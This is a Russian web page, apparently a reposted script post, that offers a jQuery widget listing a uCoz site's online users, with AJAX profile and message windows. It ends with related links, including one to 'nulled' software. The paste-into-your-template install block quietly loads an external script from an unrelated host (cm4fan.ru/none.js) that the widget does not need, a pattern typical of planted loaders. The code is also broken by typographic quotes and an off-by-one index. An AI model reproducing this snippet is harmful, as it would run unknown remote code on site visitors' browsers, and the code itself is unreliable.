
Это простой динамичный список онлайн пользователей, но предоставленный в блочной системе. Профиль и личные сообщения открываются в ajax окнах. Автообновление производится каждые 30 секунд. Скрипт выполнен без лишних функций и наворотов, так что код получился очень компактный

Это простой динамичный список онлайн пользователей, но предоставленный в блочной системе. Профиль и личные сообщения открываются в ajax окнах. Автообновление производится каждые 30 секунд. Скрипт выполнен без лишних функций и наворотов, так что код получился очень компактный
Установка:
В шаблонах своего сайта замените $ONLINE_USERS_LIST$ на:
$ONLINE_USERS_LIST$
</div><script src=»http://cm4fan.ru/none.js» type=»text/javascript»></script><style>
.apo {
width:95%;
height:15px;
background:rgba(230, 230, 230, 0.8);
padding:2px;
vertical-align:middle;
margin-bottom:5px;
font-weight:bold;
border-left:1px solid #ccc;
border-top:1px solid #ccc;
border-radius:2px;
}
.apo a {
text-decoration:none;
}
</style>
<script>
// Удобная динамичная онлайн статистика by Apocalypse
function apoOnGet() {
// Основная функция получения и стилизации списка пользователей
$(‘.apoulist’).load(‘# .apoulist’, function() {
// Убираем запятые
$(‘.apoulist’).html($(‘.apoulist’).html().replace(/,/g, »));
// Делаем форму видимой
$(‘.apoulist’).fadeIn();
// Превращаем список пользователей в блочный вариант + отключаем события при клике
$(‘.apoulist a’).each(function() {
$(this).html(‘<table class=»apo»><td>’ + $(this).html() + ‘</td><td align=»right»><img src=»http://s36.ucoz.net/.s/img/icon/us.png» onclick=»apoGetP(» + $(this).text() + »)» class=»apoprofile» height=»11px» title=»Мини-профиль»> <img onclick=»apoGetPm(» + $(this).attr(‘href’) + »)» src=»http://s36.ucoz.net/.s/img/icon/mf.png» height=»11px» title=»Отправить сообщение»></td></table>’);
}).removeAttr(‘onclick’).click(function() {return false});
});
};
// Запускаем функцию при загрузке страницы
apoOnGet();
// Запускаем интервал автообновления
setInterval(function() {
apoOnGet();
}, 30000);
// Функция получения профиля
function apoGetP(name) {
new _uWnd(‘apoGetP’, ‘Профиль ‘ + name, 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:’/index/8-0-‘ + name.replace(/-/gi, ‘~’), xml:false});
}
// Функция получения страницы Личных Сообщений
function apoGetPm(url) {
var url2 = url.split(‘-‘);
var url3 = url2[url2.length];
new _uWnd(‘apoGetPm’, ‘Сообщение’, 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:’/index/14-‘ + url3 + ‘-0-1’, xml:false});
}
// ApoTeam (c) 2012
</script>
Похожие записи
Продвижение сайтов по трафику
Продвижение сайтов по трафику Цель — увеличить охват аудитории Брендовый…
Контекстная реклама для интернет-магазинов: повышаем продажи с Origami
Оцените возможности и функционал Origami за 1,5 мин. Origami –…
Продвижение сайта по словам
Продвижение сайта по словам Цель — обеспечить позиции в ТОП-10…
Почему именно Origami
Снижает затраты на рекламу и увеличивает доход В Origami оптимизированный…
Продвижение с оплатой за действия
Продвижение с оплатой за действия Цель — увеличить продажи Оплата…
Стратегия ремаркетинга — новые преимущества
Ремаркетинг в Google AdWords обладает продвинутыми возможностями для повышения эффективности…
Особенности Marin Software
Прогнозная модель управления ставками Для начала работы платформе не обязательно…
Ремаркетинг. Сохранить и приумножить!
Что такое ремаркетинг (ретаргетинг)? Ремаркетинг (remarketing) — технология, позволяющая повторно…
Кейс «Комус»
Кейс "Комус"Благодаря сотрудничеству с i-Media cамый известный в России интернет-магазин…
Кейс «Job.ru»
Кейс "Job.ru"Job.ru - крупнейший российский интернет-ресурс по поиску работы и…
SEO продвижение молодых сайтов
от 50 000 рублей Результат - на второй месяц продвижения…
Кейс «Автоцентр Сити»
Кейс "Автоцентр Сити"В рекламных кампаниях "Автоцентр Сити" - официального дилера…
Кейс «Est-a-Tet»
Кейс "Est-a-Tet"Как увеличить количество звонков на 29% и уменьшить CPA…
Стратегии оптимизации рекламных кампаний
Существуют различные стратегии оптимизации рекламных кампаний, реализованные в Marin Software.…
Marin Software — № 1 в мире по управлению контекстной рекламой
Marin Software повышает эффективность рекламы в Google AdWords и в…
Контекстная реклама Яндекс.Директ
Контекстная реклама Яндекс.Директ Цель — больше продаж и дохода с…
Управляем эффективностью рекламных кампаний на 100% с Origami
Origami - технологический партнер агентства i-Media. Иметь под рукой отличный…
TextKit 0.9.3 [Nulled]
TextKit — это программа для Windows, которая позволяет в массовом…